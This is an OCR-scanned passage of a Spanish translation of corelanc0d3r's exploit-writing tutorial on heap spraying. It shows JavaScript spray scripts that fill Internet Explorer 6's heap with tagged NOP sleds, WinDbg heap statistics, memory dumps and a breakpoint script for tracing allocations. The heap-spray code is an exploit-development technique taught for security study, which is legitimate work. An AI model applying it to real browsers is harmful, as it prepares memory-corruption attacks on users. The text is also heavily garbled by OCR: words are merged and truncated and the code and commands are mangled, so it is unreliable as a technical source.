En algunos otros casos, podemos ver que los tiestds muy cerca uno
del otro:

Hodress | He

id Dx02albal o

Ademas de eso, si nos fijamos en el contenido daaque, se esperaria a
ver la etiqueta + NOP’s, hasta 0x1000 bytes, ¢d@rda

Bueno, ¢recuerdas que marcamos la longitud deidae&? Pusimos 8
caracteres a la funcion unescape y al comprobangatud, dijo que tenia
sé6lo 4 bytes de longitud.

Asi que, si vamos a poner datos a unescape y obapla longitud por lo

que corresponderia a 0x1000 bytes, en realidadlina3x2000 bytes para
jugar. Nuestros resultados de la pagina HTML "ASigéD96 bytes",

aunque en realidad asigné el doble. Esto explica qu& vemos una
cabecera de objeto BSTR de 0x2000.
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Por lo tanto, las asignaciones estan exactamenfaeancon lo que hemos
tratado de asignar. La confusion se origina eneeht de que .length
parece que retorna solo la mitad del tamafio, pquéosi se utiliza .length
en los datos de unescape para determinar el tafr@@odel bloque a

asignar, es necesario recordar que el tamafno seal éoble que en ese
momento.

Puesto que el valor del "trozo" original era 81§®2es (0x2000) después
de que lo rellena con NOP’S, el objeto BSTR detar #sno de NOP’S.

Asi que, si eso es correcto, cuando se vea enrap@l tltimo puntero de
find.txt de nuevo (en el offset 0x1000), probabletaerzeremos NOP’S:

d Ox02bcib3ct 01000
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Si vemos en el Dump la direccion en la posiciondD€R deberiamos ver el
final del objeto BSTR, y NOP’s todo el camino hadtdinal del objeto
BSTR:

Dx02bc3bIctDx2000

Bien.
Hemos conseguido uno de nuestros objetivos. Nosr@glamos para

poner un poco Mas grandes los bloques en el Haap glimos cuenta de la
repercusion del uso de unescape sobre el tamalfubeterbjeto BSTR.

WinDBG
Vamos a ver que aspecto tiene este Heap Spray adbg/i No cierres

ImMMDBG, pero solo tienes que desattachar iexpoeede ImmDBG (File
- detach). Abre WIinDBG y attacha iexplore.exe endg.
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=B COspriy sprday Lhbnd - IE SAL2900.2 150 5P {MSIE)

e Edd View Fawvorites Tools  Melp

o - )+ [x] [N ok S pmetee 8|5 S0 R

L [— ":‘.‘l Wintilsg. | 2 0002630 Kk

Addrines [ ) Ci\praylspeay pe s View Debuig Window  Help
I i e T =

pe— R Ni= =T

size of HOPS after su DIt x

Allocated 4096 bytes B 1720 S7TraceServicel exs -
ABocated 4096 bytes @ 1776 VBoxTray swxe
Allocated 4096 bytes #1960 sglbrovser . exe
Allocated 4096 bytes | | & 2032 TS¥NCache. exe
i+ sqlvriter esxe
Allocated 4096 bytes # 188 TeamViewer Service axe
Allocated 4096 bytes # 664 1prntctl.exe
Allocated 4096 bytes B 732 iprntlon exe
Allocated 4096 bytes #1052 Divilpdate axe
Mlocated 4096 bytes #-1192 Jusched  exs

#1332 ctimon exe
Allocated 4096 b-j'tns H 3312 TeanViewer ax=

Aocated 4096 bytes IS M| i 3388 alg.exs

Allocated 4095 bytes #3596 wecntfy exe

Alocated 4096 bytes 131624 ced . exe

Alseated 4005 bytes M 2676 dllho=t exe

Aﬂmmd-ﬂﬂﬁlﬁbﬂes #3772 notepad++ sz

Allocated 4096 bytes | 5 SetEm was usas

Allocated 4096 bytes #1236 InmunityDebugger exe |
Allocated 4096 bytes =

Obviamente, hay que ver lo mismo en Windbg.

A través de View-Memory, podemos mirar una posicd® memoria
arbitraria y volcar el contenido. Ver en el Dum@aute las direcciones que
se encuentran en find.txt debe producir algo cosha e

W Hesary - Pid 35492

| Wirtual: | Dx02bo3bdc

O2beibice 43 4f 52 45 dc 41 d= 21 0 90 90 %0 90 90 50 90 90 90 50 90 50 50 90 90 90 CORELAMI|
2

windihag:h, 1 200002633 Xk

02bc2dad 90 20 90 90 90 %0 90 S0 90 90 490 90 90 40 90 90 90 20 %90 9090 20 90 90 20
O2beidet 90 90 90 90 20 90 90 90 %0 90 90 90 906 90 90 90 90 90 90 90 90 20 90 90 0
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Windbg tiene algunas caracteristicas interesanieshqcen que sea facil
mostrar informacion del Heap. Ejecuta el siguiea@mando en la vista de
comando:

lheap -stat

Esto mostrara todos los Heaps del proceso denkiqoraleeso iexplore.exe,
un resumen de los segmentos (bytes reservados praowtidos), asi
como los bloques de VirtualAlloc.

uuuuuuuuu TITS -

_HEAFP 00150000
Segnents 0po00DD4
Researved bytes 00800000
Committed bytes 00405000
VirtAllocBlocks googoooo
Virtilloc bytes 00000000

_HEAF 00210000
Sagrents 0ooooonl
Reserved bytes 00100000
Committed bytes 00100000
VirthllocBlocks 0oooooon
Virthlloc bytes 00000000

_HEAP OOf£f0000
Seqments 0o0ooon2
Reserved bytes 00110000
Committed bytes 00027000
VirtAllocBlocks 00000o00
Virtalloc bytes 00000000

_HEAP 00230000
Segnents gaonognoo:
Reserved bytes 00110000
Committed bytes 00014000
VirtAllocBlocks 0o0oooon
Virthlloc bytes 00000000

_HEAP 01210000
Segments poooooo2
Reserved bytes 00110000
Committed bytes 00012000
VirtAllocBlocks oooooooo
Virtd)l e hotms AOAMAANN

4
00055 |

Mira los bytes comprometidos. El Heap del procesmdgterminado (el
primero en la lista) parece tener una "mayor" cdacki de bytes
comprometidos en comparacion con los Heap de proces

0:008> 'heap -stat
_HEAP 00150000
Segments 00000003
Reserved bytes 00400000

Committed bytes 00279000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
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Puedes obtener informacion mas detallada sobreHesdp utilizando el
comanddheap -a 00150000

0:009> 'heap -a 00150000
Index Address Name  Debugging options enable d
1: 00150000
Segment at 00150000 to 00250000 (00100000 bytes committed)
Segment at 028e0000 to 029e0000 (000fe000 bytes committed)
Segment at 029e0000 to 02be0000 (0008f000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00400000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size:  00000e37
Max. Allocation Size: 7ffdefff
Lock Variable at: 00150608
Next Taglndex: 0[0[0]0)
Maximum Taglndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 00150050
UCR FreelList: 001505b8
FreeList Usage:  2000c048 00000402 00008000 00000000
FreeList[ 00 ] at 00150178: 0021c6d8 . 02a6e6b0
02a6e6a8: 02018 . 00958 [10] - free
029dd0f0: 02018 . 00f10 [10] - free
0024f0f0: 02018 . 00f10 [10] - free
00225770: 017a8 . 01878 [00] - free
0021c6d0: 02018 . 02930 [00] - free
FreeList[ 03 ] at 00150190: 001dfa20 . 001dfe08

001dfe00: 00138 .
001dfb58: 00128 .
001df868: 00108 .
001df628: 00108 .
001df3a8: 000e8 .
001df050: 000c8 .
001e03d0: 00158
001def70: 000c8 .
001d00f8: 00088 .

00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free
00018 [00] - free

001e00e8: 00048 . 00018 [00] - free
001cfd78: 00048 . 00018 [00] - free
001d02c8: 00048 . 00018 [00] - free
001dfal8: 00048 . 00018 [00] - free

FreeList[ 06 ] at 001501a8: 001d0048 . 001dfca0
001dfc98: 00128 . 00030 [00] - free
001d0388: 000a8 . 00030 [00] - free
001d0790: 00018 . 00030 [00] - free
001d0040: 00078 . 00030 [00] - free

FreeList[ Oe ] at 001501e8: 001c2a48 . 001c2a48
001c2a40: 00048 . 00070 [00] - free

FreeList[ Of ] at 001501f0: 001b5628 . 001b5628
001b5620: 00060 . 00078 [00] - free

FreeList[ 1d ] at 00150260: 001ca450 . 001ca450
001ca448: 00090 . 000e8 [00] - free

FreeList[ 21 ] at 00150280: 001cfb70 . 001cfb70
001cfb68: 00510 . 00108 [00] - free
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FreeList[ 2a ] at 001502c8: 001dea30 . 001dea30

001dea28: 00510 . 00150 [00] - free
FreeList[ 4f ] at 001503f0: 0021f518 . 0021f518

0021f510: 00510 . 00278 [00] - free
Segment00 at 00150640:

Flags: 00000000

Base: 00150000

First Entry: 00150680

Last Entry: 00250000

Total Pages: 00000100

Total UnCommit: 00000000

Largest UnCommit:00000000

UnCommitted Ranges: (0)

Heap entries Segment00 Heap 00150000
00150000: 00000 . 00640 [01] - busy (640)
00150640: 00640 . 00040 [01] - busy (40)
00150680: 00040 . 01808 [01] - busy (1800)
00151e88: 01808 . 00210 [01] - busy (208)
00152098: 00210 . 00228 [01] - busy (21a)
001522c0: 00228 . 00090 [01] - busy (88)
00152350: 00090 . 00080 [01] - busy (78)
001523d0: 00080 . 000a8 [01] - busy (a0)
00152478: 000a8 . 00030 [01] - busy (22)
0015244a8: 00030 . 00018 [01] - busy (10)
001524c0: 00018 . 00048 [01] - busy (40)

<..>

0024d0d8: 02018 . 02018 [01] - busy (2010)
0024f0f0: 02018 . 00f10 [10]

Segment01 at 028e0000:
Flags: 00000000
Base: 028e0000
First Entry:  028e0040
Last Entry:  029e0000
Total Pages: 00000100
Total UnCommit: 00000002
Largest UnCommit:00002000
UnCommitted Ranges: (1)

029de000: 00002000

Heap entries Segment01 Heap 00150000
028e0000: 00000 . 00040 [01] - busy (40)
028e0040: 00040 . 03ff8 [01] - busy (3ff0)
028e4038: 03ff8 . 02018 [01] - busy (2010)
028e6050: 02018 . 02018 [01] - busy (2010)
028e8068: 02018 . 02018 [01] - busy (2010)

Si nos fijamos en las estadisticas de asignaciénere este Heap, vemos
esto:

0:005> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
3fff8 8 - 1fffcO0 (51.56)
fff8 5 - 4ffd8 (8.06)
1fff8 2 - 3fff0 (6.44)

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r




Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

1ff8 1d - 39f18 (5.84)
3ff8 b - 2bfa8 (4.43)
7ff8 5 - 27fd8 (4.03)
18fcl 1 - 18fcl (2.52)
13fcl 1 - 13fcl (2.01)
8fcl 2 - 11f82 (1.81)
8000 2 - 10000 (1.61)
b2e0 1 - b2e0 (1.13)
ff8 a - 9fb0 (1.01)
4fcl 2 - 9f82 (1.00)
57e0 1 - 57e0 (0.55)
20 2a9 - 5520 (0.54)
4ffc 1 - 4ffc (0.50)
614 c - 48f0 (0.46)
3980 1 - 3980 (0.36)
78 6 - 2fd0 (0.30)
580 8 - 2c00 (0.28)

Podemos ver una gran variedad de tamafios y el oumertrozos
asignados de un determinado tamafio, pero no hay nedacionado con
nuestro Heap Spray en este punto.

Vamos a ver la asignacion real que se utiliza phmacenar nuestros datos
de pulverizacion.

Podemos hacer esto con el siguiente comando:

0:005> 'heap -p -a 0x02bc3b3c
address 02bc3b3c found
_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
02b8a440 8000 0000 [01] 02b8a448  3fff 8 - (busy)

Mira el UserSize - este es el tamafo real del trdeloHeap. Asi que,
parece que Internet Explorer asigna unos trozosOx&fff8 bytes
almacenados y partes del array a través de logdiés trozos.

Sabemos que el tamafio de la asignacion no est@pE relacionada
directamente con los datos que estamos tratandpaelar, pero tal vez
podamos manipular el tamafio de la asignacién abicainel tamafio del
objeto BSTR. Tal vez, si lo hacemos mas grande,gows ser capaces de
indicar a Internet Explorer que asigne fragmentabviduales para cada
objeto BSTR, trozos que podrian ser de tamafio mé&amo a los datos
reales que estamos tratando de guardar.

Cuanto mas cerca del tamafio del fragmento del Esig@n los datos reales
gue estamos tratando de guardar, mejor sera.
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Vamos a cambiar nuestro Script basico y utilizaema chunksize o
tamafo de trozo de 0x4000 que deberia traduair§x4000 * 2 bytes de
datos, por lo que cuanto mas cerca la asignacibidel@p llegue a ese
valor, mejor:

spraylb.html

<html>

<script >

/I Script de Heap Spray de prueba.

/I corelancOd3r

/I No olvides quitar las barras invertidas.

tag = ('%u\4F43%u\4552"); /l CORE
tag += ('%u\414C%\u214E"); /l LAN!

chunk =";
chunksize = 0x4000;
nr_of chunks = 200;

( counter = 0; counter < chunksize; counter++)

chunk += ("%u\9090%u\9090");

.write(“Tamafno de NOPs en este punto : Ve
chunk. . O+" <br>™";
chunk = chunk.substring(0,chunksize - tag. );
.write(“Tamafio de NOPS después de la subcadena :
chunk. . 0+" <br>");

/I Crea el array.
testarray = 0;

( counter = 0; counter < nr_of_chunks; counter++)
{

testarray[counter] = tag + chunk;
.write(“Asignado “ +
(tag. +chunk. ). O0+" bytes<br> ")
}

</script>
</html|>

Cierra Windbg y VMMap, y abre este nuevo archivolr@ernet Explorer
6.
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. i| 2. , Search Favoribes  {f+ -

Addrass i-ﬂ 1 Cilsprayispray 1. Ritml

size of WOPS at thes pomt | 32768

size of MOPS after substnng : 16380
Allocated 16324 bytes
Allocated 16334 bytes
Allocated 16324 bytes
Allocated 163284 bytes
Allscated 16334 bytes
Allocated 16384 bytes
Allocated 16324 bytes
Allocated 16384 bytes
Allocated 16384 bytes
Allocated 16324 bytes
Allocated 16384 bytes
Allocated 16324 bytes
Allocated 16384 bytes

Attacha iexplore.exe con Windbg cuando la pulveitaa haya terminado
y repite los comandos de WinDbg:

0:008> 'heap -stat
_HEAP 00150000
Segments 00000005
Reserved bytes 01000000
Committed bytes 009d6000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
<.>

0:008> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
8fcl cd - 731d8d (74.54)
3fff8 2 - 7fff0 (5.18)
1fff8 3 - 5ffe8 (3.89)
fff8 5 - 4ffd8 (3.24)
1ff8 1d - 39f18 (2.35)
3ff8 b - 2bfa8 (1.78)
7ff8 4 - 1ffe0 (1.29)
18fcl 1 - 18fcl (1.01)
7ff0 3 - 17fd0 (0.97)
13fcl 1 - 13fcl (0.81)
8000 2 - 10000 (0.65)
b2e0 1 - b2e0 (0.45)
ff8 8 - 7fcO0 (0.32)
57e0 1 - 57e0 (0.22)
20 2ac - 5580 (0.22)
4ffc 1 - 4ffc (0.20)
614 c - 48f0 (0.18)
3980 1 - 3980 (0.15)
7f8 7 - 37¢8 (0.14)
580 8 - 2c00 (0.11)
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En este caso, 74,54% de las asignaciones tienarselo tamano: 0x8fcl
bytes. Vemos OxCD (205) numero de asignhaciones.

Esto podria ser una indicacion de nuestro HeapySgitavalor del trozo
del Heap esta mas cerca del tamafio de los datofiaues tratado de
asignar, y el niumero de trozos encontrados esta i los que hemos
pulverizado también.

Nota: se puede mostrar la misma informaciéra gados los Heaps
ejecutanddheap -stat -h

A continuacion, puedes listar todas las asignasiode un tamafio
determinado, utilizando el siguiente comando:

0:008> 'heap -flt s 0x8fcl
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
0011800 1200 0000 [01] 001f1808 08fc 1 - (busy)
02419850 1200 1200 [01] 02419858 08fc 1 - (busy)
OLEAUT32!CTypelnfo2:: vftable'
02958440 1200 1200 [01] 02958448 08fc 1 - (busy)
02988440 1200 1200 [01] 02988448 08fc 1 - (busy)
02991440 1200 1200 [01] 02991448 08fc 1 - (busy)
0299a440 1200 1200 [01] 0299a448 08fc 1 - (busy)
029a3440 1200 1200 [01] 029a3448 08fc 1 - (busy)
029ac440 1200 1200 [01] 029ac448 08fc 1 - (busy)

02296440 1200 1200 [01] 02a96448 08fc 1 - (busy)
02a9f440 1200 1200 [01] 02a9f448 08fc 1 - (busy)
02aa8440 1200 1200 [01] 02aa8448 08fc 1 - (busy)
02ab1440 1200 1200 [01] 02abl448 08fc 1 - (busy)
02aba440 1200 1200 [01] 02aba448 08fc 1 - (busy)
02ac3440 1200 1200 [01] 02ac3448 08fc 1 - (busy)
02ad0040 1200 1200 [01] 02ad0048 08fc 1 - (busy)
02ad9040 1200 1200 [01] 02ad9048 08fc 1 - (busy)
02ae2040 1200 1200 [01] 02ae2048 08fc 1 - (busy)
02aeb040 1200 1200 [01] 02aeb048 08fc 1 - (busy)
02af4040 1200 1200 [01] 02af4048 08fc 1 - (busy)
02afd040 1200 1200 [01] 02afd048 08fc 1 - (busy)
02b06040 1200 1200 [01] 02b06048 08fc 1 - (busy)
02b0f040 1200 1200 [01] 02b0f048 08fc 1 - (busy)
02b18040 1200 1200 [01] 02b18048 08fc 1 - (busy)
02b21040 1200 1200 [01] 02b21048 08fc 1 - (busy)
02b2a040 1200 1200 [01] 02b2a048 08fc 1 - (busy)
02b33040 1200 1200 [01] 02b33048 08fc 1 - (busy)
02b3c040 1200 1200 [01] 02b3c048 08fc 1 - (busy)
02b45040 1200 1200 [01] 02b45048 08fc 1 - (busy)
<...>
030b4040 1200 1200 [01] 030b4048 08fc 1 - (busy)
030bd040 1200 1200 [01] 030bd048 08fc 1 - (busy)
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El puntero que aparece en "HEAP_ENTRY" es el conuestel trozo del
Heap asignado. El puntero en "UserPtr" es el camiele los datos en ese
bloque de Heap que debe ser el comienzo del dBfetdr.

Vamos a volcar uno de los trozos de la lista (tem@étimo):

0-008: d 030bd040

030bd040 00 12 00 12 8a 01 ff 04 43 4f 52 45 ..., . .CORE
030bd05S0 d4c 41 4= 21 90 90 90 90-90 90 90 90 90 %0 90 90 LANM!

030bd060 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .. ...

030bd070 90 90 90 S0 90 90 90 90-90 90 90 30 90 90 90 30

030bd080 90 90 90 90 30 90 90 90-90 30 90 30 90 90 90 90

030bd090 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90

030bd0a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90

030bd0b0 90 90 90 90 90 90 90 90-90 90 90 90 90 %0 90 90

4

Perfecto. Vemos una cabecera de Heap (los prind&byses), la cabecera
del objeto BSTR (4 bytes, rectangulo azul), lawstg y los NOP’S. Para
tu informacion, la cabecera del heap de un blogigeegta en uso, contiene
los siguientes trozos:

Tamafio | Tamafo CT FL NU IS

del trozo | deltrozo | (Cookie (Flags) (¢ No (indice de
actual anterior | del trozo) Usado?) | Segmento)

\x00\x12 | \x00\x12 \x8a \x01 \xff \x04

Una vez mas, la cabecera del objeto BSTR indicdaomafio que es el
doble del tamafio del trozo (chunksize) que hemdmide en nuestro
Script, pero sabemos que esto es causado porddudiretornada de los
datos deunescaped Lo hicimos, de hecho, asignamos 0x8000 bytes. La
propiedad de .length solo retorno la mitad de igrasmos.

El tamafo del trozo del Heap es mayor que 0x8008sbyiene que ser un
poco mayor que 0x8000 porque se necesita algopdeiegpara almacenar
su propia cabecera del Heap. 8 bytes en este gasloespacio para la
cabecera BSTR + terminador (6 bytes). Sin embaejotamafio del

fragmento real es Ox8fff - que es aun mucho masdgrade lo que

necesitamos.

Estd claro que nos las arreglamos para decirle guk: asigne trozos
individuales en lugar de almacenar todo en solas paros bloques mas
grandes, pero todavia no hemos encontrado el tamaffecto para
asegurarnos de que la posibilidad de aterrizame&rea sin inicializar sea
minima. En este ejemplo, hemos tenido Oxfff bytedasura.
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Vamos a cambiar el tamafio una vez mas. Establecdsize a 0x10000:
spraylc.html
Resultados:

0:008> 'heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total (%) (percent of total busy bytes)
20010 c8 - 1900c80 (95.60)
8000 5 - 28000 (0.60)
20000 1 - 20000 (0.48)
18000 1 - 18000 (0.36)
7ff0 3 - 17fd0 (0.36)
13e5¢ 1 - 13e5¢ (0.30)
b2e0 1 - b2e0 (0.17)
8cl4 1 - 8cl4 (0.13)
20 31c - 6380 (0.09)
57e0 1 -57e0 (0.08)
4ffc 1 - 4ffc (0.07)
614 c - 48f0 (0.07)
3980 1 - 3980 (0.05)
580 8 - 2c00 (0.04)
2a4 f-279c (0.04)
20f8 1 - 20f8 (0.03)
d8 27 - 20e8 (0.03)
e0 24 - 1f80 (0.03)
1800 1 - 1800 (0.02)
17a0 1 - 17a0 (0.02)

Ah - mucho, mucho mas cerca de nuestro valor edpetans 0x10 bytes
se necesitan para la cabecera del Heap y la cabB&3rR + terminador.
El resto del trozo debe ser llenado con nuestrds T&liqueta) + NOP’s.

0:008> 'heap -flt s 0x20010
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSiz e - state
02897fe0 4003 0000 [01] 02897fe8 2001 0 - (busy)
028b7ff8 4003 4003 [01] 028b8000 2001 0 - (busy)
0287018 4003 4003 [01] 028f7020 2001 0 - (busy)
02917030 4003 4003 [01] 02917038 2001 0 - (busy)
02950040 4003 4003 [01] 02950048 2001 0 - (busy)
02970058 4003 4003 [01] 02970060 2001 0 - (busy)
02990070 4003 4003 [01] 02990078 2001 0 - (busy)
029b0088 4003 4003 [01] 029b0090 2001 0 - (busy)
029d00a0 4003 4003 [01] 029d00a8 2001 0 - (busy)
029f00b8 4003 4003 [01] 029f00cO 2001 0 - (busy)
02a100d0 4003 4003 [01] 02a100d8 2001 0 - (busy)
02a300e8 4003 4003 [01] 02a300f0 2001 0 - (busy)
02a50100 4003 4003 [01] 02a50108 2001 0 - (busy)
02a70118 4003 4003 [01] 02a70120 2001 0 - (busy)
02290130 4003 4003 [01] 02a90138 2001 0 - (busy)
02ab0148 4003 4003 [01] 02ab0150 2001 0 - (busy)
02ad0160 4003 4003 [01] 02ad0168 2001 0 - (busy)
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02af0178 4003 4003 [01] 02af0180 2001 0 - (busy)
0210190 4003 4003 [01] 02b10198 2001 0 - (busy)

02b50040 4003 4003 [01] 02b50048 2001 0 - (busy)
<...>

Si los trozos son adyacentes, hay que ver el iealbloque de datos y
comenzar del siguiente trozo uno al lado del o¥famos a volcar el
contenido de la memoria del inicio de uno de legds, en la posicion
0x20000:

D:008> d 02b50040+0x20000

02b70040 90 90 90 90 90 90 90 90-90 %0 90 %0 00 00 00 OO . ...............
02b70050 00 00 0O 0O 0D 0O DO 00-03 40 03 40 21 01 0B 03 ... ..... @@
D2b70060 00 00 02 00 43 4f 52 45-4c 41 4e 21 90 90 90 90 CORELAN !
02b70070 90 90 90 30 90 S0 90 90-90 30 90 S0 90 S0 90 %0 . e
D2b70080 90 90 90 50 %0 90 50 90-3%0 30 %0 30 %0 90 90 90

02b70090 90 90 90 S0 S0 90 90 90-90 50 30 S0 90 S0 90 90

D2b700a0 90 90 90 90 S0 90 30 90-30 90 90 90 90 90 %0 90 ............
02b700b0 90 90 90 90 90 90 90 90-%0 90 20 90 90 90 %0 90 .............

al

Trazando las asignaciones de cadena con
WIinDBG

Poder trazar lo que desencadena la asignacionsgglimiento de las
asignaciones reales en un depurador es una habijda a menudo es
necesario. Voy a aprovechar esta oportunidad parapartir algunos

consejos sobre el uso de secuencias de comandddirde@bg, para

registrar las asignaciones en este caso.

Voy a utilizar el siguiente Script (escrito para 8P3), que registrara todas
las llamadas a RtlAllocateHeap(), pidiendo un troms grande que OxFFF
bytes, y retornara algo de informacion acerca deliaitud de asignacion.

bp ntdll'RtlAllocateHeap+0x117 “r $t0=esp+0xc(poi(@$t0) > Oxfff)
{.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esg@);.printf \"Size:
0x%x, \”, poi(@$t0);.printf \"Allocate chunk at Ox%6, eax;.echo;ln

poi(@esp);.echo},g”

Jlogopen heapalloc.log

g
spraylog.windbg
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La primera linea contiene varias partes:

 Un BP en ntdll.RtlAllocateHeap() + 0x117. Este édimal de la
funcién en XP SP3 (la instruccion RET). Cuandoulacfon retorna,
tendremos acceso a la direccion el Heap devuettéagfancion, asi
como el pedido de la asignacién (almacenada eildp Bi deseas
utilizar este Script en otra version de Windowsdtés que ajustar el
desplazamiento hasta el final de la funcion, y iémlverificar que
los argumentos se coloquen en la misma ubicacida pita, y es el
puntero de retorno del Heap sea colocado en EAX.

« Cuando para en el BP, una serie de comandos sdagfe€todos los
comandos entre comillas dobles). Puedes separarancio®
mediante punto y coma. Los comandos recogeran rahfia
requerido de la pila (ESP +0C) y veran si el tamasionas grande
que Oxfff, sb6lo para evitar que vayamos a Iiniciaxquenas
asignaciones. Siéntete libre de cambiar este vakyun sea
necesario. A continuacién, algunos datos sobrahaada a la APl y
los argumentos se mostraran, ademas de mostrarurgerp
returnTo (basicamente muestra que la asignacion volverpuéss
de que termine de ejecutarse.

* Finalmente, §", que le dird al depurador que siga funcionando.

» A continuacién, el resultado se escribeheapalloc.log.

e Por ultimo, "le diremos al depurador que empieceomer (“g”
final).

Puesto que so6lo estamos interesados en las asigaade derivadas de la
pulverizacidn real, no se activara el Script de 8 hasta justo antes de
la pulverizacion real. Con el fin de hacer eso, esra cambiar el codigo

javascriptspraylc.html e insertar una alerta ("Ready to spray"), justesan

de la iteracion cerca del final del Script:

/I Crea el array.
testarray = 0;
Il Insertar alerta
(“Listo para pulverizar”);
( counter = 0; counter < nr_of_chunks; counter++)

testarray[counter] = tag + chunk;
.write("Asignado " +
+chunk. ). O0+" bytes<br> ")
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Abre la pagina en IE6 y espera hasta que aparézrarer MessageBox
"Ready to spray. Attacha con Windbg (que detendra el procesoggap
en las 3 lineas de texto. Lg""al final del Script le dira a WinDBG que
continle ejecutando el proceso.

[Tabc _blc) Break instruckicon exceplion - code BOOOOU0S [(Lirst chance )

max=7E fdE000 sbx=00000001 ecx=00000002 =dw=00000003 =si=00000004 =d1-nﬂnnﬁaﬂ5

eip=7cillile esp=024diicc ebp=024difid4 1opl=-0 nv up &i pl Zr na pa

c=s(0lb ===0023 ds-0023 e==0023 f{s-0038 g==0000 afl= E!]EIEI[F"%E-

ntdll!DbgBreakPoint

TcillZle cc int 3

1| | 3

[6 008 |bp ntdll!RrlillocatelsapsOxll? “r Stl=espslxc; 1f (por(@3t0) » Oxiff) { primtf “"RtldllocateHsap RHEAP Ox%x.

“° . poif{Pespd). printf “CSize: Ox¥x. ", poi(@5t0) . printf ““Allocate chunk at Oxxx»". =sax. echo:ln poi
{(Pesp) ;. .echo}:g”

logopan heapalloc log
g

ntdli | DbgBreakFPoint
Te90120e co int 3

0:006> bp ntdllIRtiAllocateHeap+0x117 "r Stl=esptlxc: 1f (por{®5t0) » O=fEf) { praintf “~"RtlAllocateHsap hHEAP Ox¥x
0:008> . logopen heapalloc. log

Oponed log file 'hespslles log'
0:00B> g

T T O T TUTTTTTNT

4l |
[=EIST= Ehhug\;m is running. .

Vuelve a la ventana del navegador y haz clic en™@Kel MessageBox.

‘A C\spray\spray1chtml - 1E 6.0.2900.2180 5P (MSTE)

File Edt View Favorit Tools Help

0= © N@¢

Address I@jc ispray\spraylc.himl

| search \l;\\('Favoribes €1| )

size of NOPS at this pomnt : 131072
size of WOPS after substring | 65532

Microsoft Internet Exploreril S|

A Ready to spray
o ]

El Heap Spray ahora se ejecutard y WIinDBG reg#étrimmdas las
asignaciones mas grandes que Oxfff bytes. Debidogako o registro, la
pulverizacién tardara un poco mas.

Cuando la pulverizacion se realiza, vuelve a Wingibgausa WIinDBG
(CTRL + Break).
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RtlillocateHsap hHEAP Ox150000. Size. O0x1260, &llocste chunk at Ox2440080
{7e9LE4TT) ntdll IEelfeil locaralmaps Onde I (7c33770) ntdl]l IFtl¥orkSpacaProcs

FtlillocateHeap hRHEAF Ox150000, Size: O0x17d8. Allocate chunk at 0xZ46bO9E
(7<P1B477) ntdll IRt 1Redl locateHeap+lnds | (7c%63770) ntdll 1Bt 1WorkSpaceProcs

wam ERRON. Symbol file could not be found Defaulted to export symbols for C:-Program FilesCommon Files Tortolss
sams ERROR Syabol file could not be found Defsulted to szport symbols for C:-Program Files TortoiseSYH-bin-Torte

{ab=_ fdc): Braal instriction awcsption — code 30000003 (first chanes)
sax=7EfdE0D0 abx=00000001 ecx=00000002 adx=00000003 a=s1-00000004 =di=00000005
eip*7cI0120e esp=024dffcc ebp=024dfffd zopl=0 nv up @i pl =zr na pe nc
cs=00lb ss=0023 ds=0023 eg=-0023 Es-0038 gs-0000 efl=00000245
ntdll|DbgBreakPoint
7c90120e cc int 3
£
L3 |
|E|'E|U$5-F

Dile a Windbg que detenga el registro mediantentgsién de la orden
Jogclose(no olvides el punto al empezar del comando).

T AL LU Wi & LL G =
0:008> .logclose
Closing open log file heapalloc.log

Buscaheapalloc.logen la carpeta de WIinDBG. Sabemos que tenemos que
buscar las asignaciones de 0x20010 bytes. Ceraaoneénzo del archivo
de registro, deberias ver algo como esto:

RtlAllocateHeap hHEAP 0x150000, Size: 0x20010, Allo cate chunk at 0x2aab048

(774fcfdd) ole32!CRetailMalloc_Alloc+0x16 | (7 74fcffc)
ole32!CoTaskMemFree

Casi todas las demas entradas son muy similarstaa EEsta entrada de
registro nos muestra que:

e Hemos destinado un trozo del Heap del Heap del epooc
predeterminado (0x00150000 en este caso).

» Eltamafno del fragmento asignado fue de 0x2001€sbyt

* La cantidad se asign6 en 0x002aab048.

 Después de asignar la cantidad, vamos a volver 4fcfdd
(CRetailMalloc_Alloc 0le32! 0x16), por lo que laathada a la
asignacion de la string estara justo antes deugse. |

Al desensamblar la funcién CRetailMalloc_Alloc, vesresto:
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0:009> u 774fcfcd

ole32!CRetailMalloc_Alloc:

774fcfcd 8bff mov  edi,edi

774fcfcf 55 push ebp

774fcfd0 8bec mov  ebp,esp

774fcfd2 ff750c push dword ptr [ebp+0Ch ]
774fcfd5 6a00 push O

774fcfd7 ff3500706077 push dword ptr [ole32!g _hHeap (77607000)]
774fcfdd ff15a0124e77 call dword ptr [ole32! imp__HeapAlloc
(774e12a0)]

774fcfe3 5d pop ebp

0:009> u

ole32!CRetailMalloc_Alloc+0x17:

774fcfe4 c20800 ret 8

Repite el ejercicio, pero en lugar de utilizar elig para iniciar la
asignacion, simplemente pondremos un BP en oleB2t&ilMalloc_Alloc
(cuando se muestra el MessageBox "Ready to Sprayisim para
Pulverizar" en la pantalla). Presiona F5 en WinDi lo que el proceso
se ejecuta de nuevo, a continuacion, haz clic €' "f@ara activar Heap
Spray.

WinDBG ahora deberia llegar al BP:

0:008> bp oledz!|CRetailMalloc _Alloc

o:008: g

Brealpoint 0 hit

